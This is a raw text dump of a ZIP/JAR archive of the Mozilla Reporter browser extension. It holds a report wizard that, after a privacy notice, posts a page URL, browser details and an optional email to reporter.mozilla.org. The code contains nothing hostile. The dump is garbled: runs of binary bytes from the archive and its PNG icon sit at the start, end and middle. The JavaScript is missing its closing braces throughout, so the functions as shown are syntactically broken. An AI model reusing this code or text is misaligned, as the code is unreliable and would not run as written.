{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
